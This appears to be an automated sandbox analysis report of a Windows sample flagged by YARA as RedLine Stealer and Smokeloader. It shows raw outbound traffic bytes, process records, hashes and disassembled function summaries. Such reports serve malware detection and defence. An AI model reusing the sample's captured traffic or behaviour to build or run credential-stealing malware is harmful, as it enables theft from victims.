2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 1b 1f d8 fd a4 70 23 65 95 dc 4c b1 59 13 27 67 be 9d c8 ae 98 23 80 59 29 ca 1f 9b 93 da 31 a1 31 37 b0 27 1f f6 df 5c 63 d4 4e dd 4b 1f 97 8d 78 a6 c2 d2 a2 6b 8d d5 5b a4 da aa 84 64 d9 a4 ec e5 2b 0e 75 a6 ea d1 f6 1a de 2b 1c b1 3f b6 06 2e 62 8c 4c b1 04 90 36 c1 0a 4b 11 7c 09 65 b3 ec d5 da ae 76 9b db 3e 70 6e bb 7a 02 88 d1 46 f8 7a ca 3f b8 06 0d 4f da ce 04 08 db c5 32 97 b4 7e 5a 6e 56 e6 fc 11 27 d7 f1 c2 82 0f 62 e3 ba ce b3 a1 15 3b c6 66 4f 8f f0 37 02 a0 18 0e 8f 79 2d 76 40 04 79 ac eb 08 9c bc 40 a6 4c fc 27 ca 0e b7 85 11 fe d7 44 7e 07 ac ce 66 d4 c0 28 55 fb 1c dd b3 6f 02 0b 6e e3 ec 89 d2 e7 ca 1f f6 01 33 1b 60 86 2a cd 05 14 b1 75 37 c2 a1 0c f6 f8 78 5c 75 13 e4 9f 2b 0a 35 3f 93 1c ac e3 07 66 f5 94 79 bf 80 fc a5 8c 77 c8 0d Data Ascii: p#eLY'g#Y)117'\cNKxk[d+u+?.bL6K\|ev>pnzFz?O2~ZnV'b;fO7y-v@y@L'D~f(Uon3`*u7x\u+5?fyw
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: c2 50 70 b1 d9 01 c4 e6 3a c1 c6 ec 83 37 5e 79 a7 fd 10 9e ba f5 46 52 95 4d 0b 05 61 07 be 9e 46 bc 36 fe df 25 4b b9 24 90 7f d1 77 d8 2f 37 f4 42 10 49 bf da 5f 31 6d eb 40 6d e8 6e 9b 28 78 fd 10 ca d3 9d 77 ca 40 cf 61 a8 98 53 bb b0 67 2e 1f e0 27 1b 91 d9 68 e1 a8 09 e1 7b 97 41 be cf 95 ff e7 aa ff 2f c5 4e e2 04 3a de d0 8b e7 7f cd 85 2a c8 1f 10 a1 39 b0 8d db a2 81 0e 7f 3b ec db 57 71 72 e6 37 93 d9 49 45 38 39 8a 64 27 0f ce 75 0e f3 b8 47 07 91 06 1b f5 c2 b1 b9 b3 93 6f c6 db 1a 22 3e cf c5 ab c6 17 c0 d5 fb dd 86 c2 32 af 8e b6 6b 21 c9 20 2c 17 a9 79 8f ec 0e f1 95 ed 82 59 76 10 79 46 06 0d 36 5e 0a 38 22 c3 b4 b9 d9 91 81 b7 e3 bf 7f 57 fc 3f c4 9d 94 c8 79 62 1f b7 20 c8 73 27 fe 71 55 02 77 7e d0 e4 ab 53 ec 51 d6 ce 26 c4 bb be 32 Data Ascii: Pp:7^yFRMaF6%K$w/7BI_1m@mn(xw@aSg.'h{A/N:*9;Wqr7IE89d'uGo">2k! ,yYvyF6^8"W?yb s'qUw~SQ&2
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 10 33 40 bd 47 d3 73 31 87 18 13 17 e0 37 68 e2 ac c4 a9 51 77 57 24 e1 f9 f1 47 ee d9 4c 4e 3e d9 69 fb 62 6b 78 80 c8 5e 42 ea 41 6e c1 7e 25 fa fe 95 e4 24 66 f9 ed cd 44 0f ad 8a 8c 80 65 8b 13 83 73 aa fb 24 ab ab 2c 3f 77 f0 66 bb a8 6d 41 cb 75 aa d7 74 66 52 a4 88 08 f5 9f 7f e7 de ad 4c 1b 3b cf 24 eb 63 46 a8 f7 b2 a4 a3 d8 4f f5 90 07 72 a5 d2 4a 68 fc af 49 39 b6 8d bb c0 57 36 13 17 f5 03 95 3a b2 38 e8 45 e9 e3 69 72 15 d5 db cf 47 7a 49 0c 2b 04 28 5c 4c 63 b7 54 91 63 63 09 c2 0b a9 61 fe ab e7 eb e5 a2 42 0c 3b 6c d4 55 55 c2 63 6e fb ab dd 3e 62 bd ef ca e4 ef a3 1a 9f 0c 05 4d 8f 68 43 10 e5 8b c4 97 99 67 f0 d6 b5 77 17 15 70 23 eb 6f 16 6c 46 50 6f 95 6c 47 c0 b5 fe b8 24 30 e1 e0 11 48 7d ad b5 85 b8 70 b9 5a e7 a8 29 7e c5 4b 01 df Data Ascii: 3@Gs17hQwW$GLN>ibkx^BAn~%$fDes$,?wfmAutfRL;$cFOrJhI9W6:8EirGzI+(\LcTccaB;lUUcn>bMhCgwp#olFPolG$0H}pZ)~K
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 13 60 cb 68 61 0b 55 66 90 31 6d d2 3a fb ee 5f a6 cd 20 53 5a 29 02 1a 66 0b 15 bd 67 c6 04 ab 83 fa f0 be 51 4d ed ca 9e 0d c5 76 82 84 70 71 30 af a0 07 7e 8a e5 8a 53 7e 77 2f bb 1c 00 71 c3 dc 58 4a 06 8b e7 76 c1 7e 90 89 a1 99 3d c9 29 44 b9 fd 6c 5d 76 29 e7 e3 21 64 29 cd c6 2d bb 50 98 2f d9 d9 7f 38 d9 ef 10 e0 61 b8 a2 33 84 f2 4a 07 75 bf 11 07 d7 64 68 20 14 9b 93 e7 57 d5 55 f3 97 67 aa 4f 93 7b 6a e5 79 59 d8 c3 51 77 f0 8b e2 f6 73 8f 33 2d 61 68 8e 0d 30 61 83 0f 93 98 fe a8 6b 0a b8 2c aa 08 fe 8a 23 6d 6a 92 1c fe 5a cf d6 11 9e d3 03 aa 08 45 80 b2 65 61 9f 02 19 93 13 80 d4 af a2 9e 51 ce f7 39 9c 28 77 6a d4 dd 1d 31 ae 12 ff 64 bd 2c 44 cf 89 da bd e8 16 01 fa ac 5e 0d a6 06 7e e8 59 6c 78 49 71 87 e1 b2 39 dd 16 72 49 ef b6 49 30 Data Ascii: `haUf1m:_ SZ)fgQMvpq0~S~w/qXJv~=)Dl]v)!d)-P/8a3Judh WUgO{jyYQws3-ah0ak,#mjZEeaQ9(wj1d,D^~YlxIq9rII0
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 0b 9f 44 4c 3c 38 dd 1f 4e 44 10 d2 95 5d d3 23 4b b8 13 d8 2f 02 d3 9f fb 7f e3 d0 f8 ea 74 a5 89 77 15 b6 78 25 f2 01 e8 c4 bc b7 3f 24 06 82 59 1f bc 95 ba 2a a2 83 41 90 63 b1 d7 7d 0b 23 48 90 16 41 d1 00 69 22 6c cd ca d2 2b bc a7 f6 cb 03 7d 39 d9 fb 42 f1 80 8c f0 83 58 e9 e4 c8 e7 ab ee 7e 39 41 9d 7b 68 78 c5 fa e0 c0 83 ab e9 76 3c 78 4c 5f cc 35 a6 ec 87 67 6a 47 64 dd 7a a0 cd 18 1d f1 e3 33 7a 47 41 de 97 e0 9b 53 b2 30 b3 86 8b 3e 72 cc e8 4c 6f 64 d5 12 a3 4a bf 72 8b ec 45 b7 7c b0 92 84 ec 50 b1 77 40 85 92 31 5c a7 86 0f 7d 20 a8 65 8e 06 02 fc c6 68 7a ac 06 c6 5a 56 e1 1f 40 ac 9c bd a3 7b 48 7b df 91 b4 84 0d 97 a9 8e 59 c2 2b 01 53 8c e9 9e 49 a5 bb a6 21 ff 62 5c e4 7c 7a 96 1d b7 f6 cc d6 7f 96 cc 92 a0 08 d4 65 b3 4a dc 4c 9c d3 Data Ascii: DL<8ND]#K/twx%?$Y*Ac}#HAi"l+}9BX~9A{hxv<xL_5gjGdz3zGAS0>rLodJrE\|Pw@1\} ehzZV@{H{Y+SI!b\\|zeJL
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 9b 52 f0 3b 80 70 21 24 27 ec 24 6a ec e8 8b 76 47 55 a9 be da 76 a6 c7 8c d3 84 e4 64 da c3 34 5d a7 5b 93 a2 94 7a 00 7b 7a 21 d2 0c 07 17 dc a1 0d d5 ef 98 b8 64 26 08 1e d9 2b 03 ce ac d1 6f d2 e4 f0 8a 24 85 ab 9f 62 25 90 e2 08 51 63 fe 4f 93 34 ed bf 8d 05 0e db c3 52 f3 37 26 ac c3 f1 e3 b5 3c 6c 8e 74 d7 aa 2f 0a 10 ac 77 e3 e6 68 13 3c ec e4 29 90 69 1c f1 6b c3 cc 3a 13 1d bd 11 66 73 ba fe 1e 86 9c ba 85 89 9e 1c d1 c4 a8 b6 21 e2 13 09 6d 74 24 13 39 f7 e3 1f 41 99 51 ae 8f 5d 24 e3 98 c8 d3 e4 b2 01 91 25 4b 6c 0e be b0 74 e0 83 c2 4a eb b4 4a 47 e3 fa 42 d9 9b 3d 14 8e 35 21 8e 1f 08 fb a0 86 73 03 b0 9f c0 09 8d 36 fa 1f ed f6 1f 6d c4 a7 fb 24 1f 9c 51 9c b6 ec cb 26 71 a8 f9 47 23 4d 2a d1 9b 21 b4 fd ee 48 a7 9c 96 3c 2e a1 3e 55 d6 06 Data Ascii: R;p!$'$jvGUvd4][z{z!d&+o$b%QcO4R7&<lt/wh<)ik:fs!mt$9AQ]$%KltJJGB=5!s6m$Q&qG#M*!H<.>U
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 5f 13 1c 81 4c f6 12 a2 77 b6 44 c7 4a d6 cb 4e 60 0e 4c d4 9e 68 17 b4 3c 9a f2 5d 3a 02 15 a9 b4 97 75 35 cb d7 d5 eb a9 78 8a 5c a4 47 ad 68 b7 d4 ae b9 b6 86 fa b9 7b 0d 5e 02 a0 a7 9e 73 fc f0 59 04 d7 55 bb 76 cf e2 21 2f c8 23 d2 02 e5 e1 41 6a 3d 8d 9d 17 b7 72 1a e2 d2 ed 82 65 6e 7b f5 1e 87 7b 7b 83 f9 95 39 31 23 0a 50 62 51 86 10 97 b8 0f 36 53 f2 16 94 d7 6c 98 bd 71 f4 ce b7 4a df 48 70 bd 74 2b c1 85 9b fb 44 f3 bf d1 9e 1c e0 e6 e7 5f 02 5c a3 dd fe 2a 6f c2 31 57 7f 4e 49 fb 79 7b 19 4a d9 94 05 3f 51 8c fd b8 cd 9c 0f 60 a7 30 4c 0c 2e ce 13 41 8c df 1a 7d 76 6e fc df c5 01 90 b9 73 51 76 be 32 82 98 6a 31 83 be d0 9d bc 1d bc 54 b6 1f 21 89 6c 86 12 c7 c3 15 9d 23 44 e6 4a a0 94 a4 c4 f9 7a 09 b6 88 10 fa 23 f3 7f 84 08 0e e5 03 4e ac Data Ascii: _LwDJN`Lh<]:u5x\Gh{^sYUv!/#Aj=ren{{{91#PbQ6SlqJHpt+D_\*o1WNIy{J?Q`0L.A}vnsQv2j1T!l#DJz#N
2024-04-21 06:41:03 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c1uvpu0sq39dve3e8njji2n9es; expires=Thu, 15-Aug-2024 00:27:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2FubTlOXgSvdU2MsAsN4NvuxcnCZg84j4%2Fnlrjcuv4cQqRi%2B9wAivG3oAmS7wDIxwnXx27%2FWPkCU%2BSOoq%2FU2tSLKMEnNvuAz2Kqq%2FtCmDEDVuk%2FvUSMweTZ0fQoMKzMwDu2DR%2B2iIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62d27bed457c-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	08:40:52
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	431'104 bytes
MD5 hash:	0D86DDF0C76911FC888C0450F90C6F29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:41:02
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1468
Imagebase:	0xaf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:41:02
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1688
Imagebase:	0xaf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	8%
Signature Coverage:	28.7%
Total number of Nodes:	348
Total number of Limit Nodes:	18

Executed Functions

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004156F8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041572E
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 00415A58
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 00415A9D

Strings

VSB, xrefs: 004158BE

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction ID: 561acfdcea67f0ed6ea61f084dffec9e4f3ed68c02ddb911ce32c0222a0ae114
Opcode Fuzzy Hash: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction Fuzzy Hash: 01F17DB5A00B01AFD724DF29C8427A3BBF5FF49324F14461DE8AA8B790E335A4518BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IHDR, xrefs: 00404B16
IDAT, xrefs: 00404B87
IEND, xrefs: 00404BFF
), xrefs: 0040475E

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: c576af9bbb2859a3af7d0e30d66e3881eecd9865837ce368412a9390484856bc
Instruction ID: 8102909a56e56f31e14bd42bc049a778ecbfeaf59adb2e6de5403f8909f3a5ca
Opcode Fuzzy Hash: c576af9bbb2859a3af7d0e30d66e3881eecd9865837ce368412a9390484856bc
Instruction Fuzzy Hash: C012FDB1A083449FD714CF28D85076B7BE1EF85304F05857EEA85AB382D778D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC60 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

tu, xrefs: 0041CC86
7q9w, xrefs: 0041CC7E
m!s, xrefs: 0041CCC6

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction ID: a0c0b6b935059c8c526aef0dde426ea912ec2d3602511b1274e97aa73ba39016
Opcode Fuzzy Hash: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction Fuzzy Hash: 1D91F1B16443018BDB14DF14CC927BBB7A1FF91718F19492EE8829B391E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB22 Relevance: 3.6, APIs: 2, Instructions: 615COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction ID: 262629fdbb3efc19342746e0a643e000866adf4d73472e6c2c89fe251207d53e
Opcode Fuzzy Hash: 97cb1da8bad9422afa365411f7b79ffaf2cd696d95e47ce5748a6747c636db49
Instruction Fuzzy Hash: 862278B46083418FE314CF15C89076BB7E6FFCA309F14892DE8959B291D778D945CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 01CBF71E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 01CBF746
Module32First.KERNEL32(00000000,00000224), ref: 01CBF766

Memory Dump Source

Source File: 00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp, Offset: 01CBE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cbe000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 24da0da2117ba5b321953b2fb392e62db56c8f013adccc8591f28b02e573f6ef
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 5EF06236100711FBE7212AB9ACCCAEA76E8EF49625F10056DE642E15C0DAB0E9458A61

Uniqueness

Uniqueness Score: -1.00%

Function 0041AFE0 Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

!, xrefs: 0041B013
|)t+, xrefs: 0041AFFF

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: !$|)t+
API String ID: 0-1543151180
Opcode ID: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction ID: 0549958bf72732722078fd682deb9016a6df138242a2d297af9ac57ce41d61db
Opcode Fuzzy Hash: c3e86dcb4a145c767efabe64718c64748602917cefe9c5578b12583e16bef2f1
Instruction Fuzzy Hash: D341BB716183109BC718CF14C8A076BB7B0FF8A328F049A1DE8E19B380E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004162D6 Relevance: 1.7, APIs: 1, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction ID: 58d5ef61e29c700e7a5bf84aeee46845931b96e69ec54e1ba371a830b22f87e7
Opcode Fuzzy Hash: 7ec7d6abf085d8bd83f76fa4baf0a946e39f35204c992aad82303006fadc16a0
Instruction Fuzzy Hash: F371E0B1604B008FD724CF24D891753BBE2BF49314F198A6ED8AA8B792D778E845CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435B8B Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435C27

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction ID: 1272006d1290d83cf13eff99d31ed8c686e055d99e4b0088207ea3cb61a97368
Opcode Fuzzy Hash: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction Fuzzy Hash: 141139705083019FD708CF54C46472BFBE1EBC5318F248A5DE8A91B291C379D959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435C40 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043AB86,005C003F,00000006,?,?,00000018,8A858487,?,:RA), ref: 00435C6D

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 57f1bbd75be791b51c1c69d73521a326315edc5ecdbfadca72035e30f952b94d
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 64E09275508602AFEA05DF45C14050EF7E2BFC8718F55988DE88473604C6B4AD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 00420C42 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d5b5bbd28366e8683c8c477b5b2693b6c6a9734ea91cf0bb6cdc73bd071d13
Instruction ID: 0646c17248e0037d8b2e2a871ccc27ad5747d79b115fced78c7331720078151d
Opcode Fuzzy Hash: a0d5b5bbd28366e8683c8c477b5b2693b6c6a9734ea91cf0bb6cdc73bd071d13
Instruction Fuzzy Hash: D0D167B8610B018FD324CF25D890B27B7E1FB4A304F958A2DD5968BB61D779F846CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00421370 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fe48347632c593c06ea1dfef1bc93783a3490a3b1158abba629d50a791bbdab3
Instruction ID: b691efaaebe1fd9e0190dd32e1fb97d0ad8f24f092331a3f0970b38f0ebcf96e
Opcode Fuzzy Hash: fe48347632c593c06ea1dfef1bc93783a3490a3b1158abba629d50a791bbdab3
Instruction Fuzzy Hash: 06D1C1B1A083219BD704CF18D89072BB7E1EFE5754F98496EE4858B391E739DD04CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00421090 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction ID: 024c6bc1a7c06842b7b2da60ebc75b4e81c0e709c88b8f194da14b798eec8cba
Opcode Fuzzy Hash: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction Fuzzy Hash: 13C145B4214B01CFD324CF25D894B27B7E1FB8A304F958A2DD5968BAA1D778F446CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0043B3B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d751f0bade6f3c2cb8d4366d558af06de7cd325cc109ddee3b7a27c0ba3fca
Instruction ID: cfd6409ae6c1319e473ca82dbec1d2571da19b56d0cb4a7f1dcbce60b372dc38
Opcode Fuzzy Hash: c1d751f0bade6f3c2cb8d4366d558af06de7cd325cc109ddee3b7a27c0ba3fca
Instruction Fuzzy Hash: B781DD72A043019BD714CF18C890B6BB3A1FF88318F19991DE9959B392D334EC15CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE80 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction ID: 7ec337f4810fed5a0fc0c42e7f6c195b542c32b12575270dc2a29337bbab3055
Opcode Fuzzy Hash: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction Fuzzy Hash: 76519BB52483019BE718CF14C890B6FB7F1EB89748F24981DE5E59B391D378E815CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00414FC0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ecb6c529fb0ff615f75d1ab2a34be5f3ef5ed8c6c6dd8dffbc67dba125c818
Instruction ID: b377b1b49f7a6f7790fde01fd5c2559d71787a1536a5725a15941c2adc1ac685
Opcode Fuzzy Hash: d8ecb6c529fb0ff615f75d1ab2a34be5f3ef5ed8c6c6dd8dffbc67dba125c818
Instruction Fuzzy Hash: 03410B71908704DBD311AFA4C8C07F7BBD4EBDA314F15456AD88987352E7799884C3DA

Uniqueness

Uniqueness Score: -1.00%

Function 00438879 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction ID: e35f2d1fee80e2f1db852cb22d8b1dde2544e3ec87f29d33cf979d87121eb95b
